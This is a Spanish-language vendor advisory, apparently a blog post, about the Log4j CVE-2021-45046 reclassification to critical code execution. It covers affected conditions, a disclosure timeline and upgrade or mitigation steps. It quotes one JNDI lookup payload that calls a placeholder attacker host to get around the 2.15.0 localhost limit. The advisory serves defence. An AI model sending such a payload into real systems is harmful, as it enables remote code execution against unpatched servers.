La vulnerabilidad CVE-2021-45046 de Log4j 2.15 se actualiza a ejecución de código arbitrario de gravedad crítica

Nota del editor (28 de diciembre de 2021 a las 7:35 p. m. GMT): El equipo de Log4j publicó una nueva actualización de seguridad que determinó que la versión 2.17.0 es vulnerable a la ejecución remota de código, identificada como CVE-2021-44832. Recomendamos actualizar a la versión más reciente, que actualmente es la 2.17.1. Lee más aquí.

Nota del editor (18 de diciembre de 2021 a las 6:55 p. m. GMT): La situación de Log4j cambia rápidamente y actualizamos nuestros blogs a medida que hay nueva información disponible. Se recomienda actualizar a la versión 2.17.0 o posterior. Esta versión incluye correcciones de seguridad para dos vulnerabilidades de ejecución remota de código, corregidas en 2.15.0 (CVE-2021-44228) y 2.16.0 (CVE-2021-45046), y para la vulnerabilidad DoS más reciente, corregida en 2.17.0 (CVE-2021-45105). Lee más aquí.

Se descubrió que Log4j versión 2.15.0 sigue siendo vulnerable a un ataque de ejecución de código arbitrario en ciertas circunstancias. Actualiza a la versión 2.16.0 o posterior para proteger tus aplicaciones contra CVE-2021-44228 y CVE-2021-45046.

La última vulnerabilidad divulgada de Log4j 2 (CVE-2021-45046), que se había divulgado originalmente como una vulnerabilidad de denegación de servicio de baja gravedad con una puntuación CVSS de 3.7, ahora se ha reclasificado como una vulnerabilidad de ejecución de código arbitrario de gravedad alta con una puntuación CVSS de 9.0. Además, esto significa que Log4j versión 2.15.0, que antes se consideraba segura frente a la ejecución de código arbitrario, ahora puede explotarse bajo ciertas condiciones.

Un actor malicioso puede eludir la mitigación implementada en la versión 2.15.0, que limita las búsquedas JNDI solo a localhost: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

Recomendamos actualizar a la versión 2.16.0, que deshabilita por completo las búsquedas JNDI de forma predeterminada. Si no puedes actualizar, puedes mitigar este problema en versiones anteriores quitando la clase JndiLookup del classpath (ejemplo: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

¿Me afecta la vulnerabilidad reclasificada?

Tu aplicación es vulnerable si ejecutas una de las versiones afectadas del paquete Log4j (de 2.0-beta9 a 2.15.0, sin incluir 2.12.2) y cumples al menos una de las siguientes condiciones:

1. La configuración de registro habilita explícitamente las búsquedas, ya sea de forma predeterminada (si usas una versión anterior a 2.15.0) o manualmente mediante %m{lookups}, ya que formatMsgNoLookups está activado de forma predeterminada desde la versión 2.15.0.

2. Usa un Pattern Layout no predeterminado con Context Lookup, donde los atacantes pueden controlar los datos de entrada mediante Thread Context Map (MDC).

3. Usa la función Logger.printf("%s", userInput), en la que los atacantes pueden controlar la variable userInput.

NOTA IMPORTANTE: Deberás auditar tanto tu código fuente como las instancias en tiempo de ejecución para validar que no cumples ninguna de las condiciones anteriores. No es una tarea sencilla y, si tienes dudas, debes asumir que podrías ser vulnerable.

Qué debes hacer ahora

¡TOMA MEDIDAS! Actualiza de inmediato a la versión 2.16.0 o posterior para mitigar este problema. Esta es la versión más segura disponible actualmente para mitigar las dos vulnerabilidades de Log4j divulgadas recientemente (CVE-2021-44228 y CVE-2021-45046).

Consulta nuestra página de recursos de Log4j para ver una lista de los blogs y videos más recientes, además de esta guía práctica de una página para corregir Log4Shell.

Cronología de la vulnerabilidad de Log4j (CVE-2021-44228 y CVE-2021-45046)

• 18 de julio de 2013: se confirma el código que incorpora las búsquedas JNDI y la vulnerabilidad.

• 24 de noviembre de 2021: el equipo de Alibaba Security Research se comunica de forma privada con Apache para divulgar la vulnerabilidad.

• 29 de noviembre: Apache comienza a trabajar en una nueva versión (2.15.0) con una corrección de seguridad.

• 1 de diciembre: se detectan en el entorno real los primeros intentos rudimentarios de explotación.

• 5 de diciembre: se integran todas las correcciones en la rama principal.

• 9 de diciembre: un usuario de GitHub sospecha que la corrección está relacionada con una vulnerabilidad de seguridad.

• 9 de diciembre: un usuario crea un problema en el repositorio google/tsunami-security-scanner-plugins de GitHub e identifica la vulnerabilidad de ejecución remota de código en Log4j.

• 9 de diciembre: el problema se filtra extraoficialmente en un tuit del usuario p0rz9.

• 9 de diciembre: se publica una prueba de concepto (PoC) en GitHub.

• 10 de diciembre: el problema se divulga «oficialmente» y recibe un CVE (que aún no se publica en MITRE). Se publica la versión corregida 2.15.0.

• 10 de diciembre: se actualiza el CVE en MITRE y se asigna (CVE-2021-44228).

• 10 de diciembre: se agrega la gravedad crítica a Snyk SCA (CVE-2021-44228).

• 13 de diciembre: aviso de vulnerabilidad de gravedad media en la versión 1.x (CVE-2021-4104).

• 14 de diciembre: se descubre una vulnerabilidad DoS de gravedad media en la versión 2.15 (CVE-2021-45046).

• 17 de diciembre: CVE-2021-45046 se reclasifica como de gravedad crítica y se categoriza nuevamente como ejecución de código arbitrario.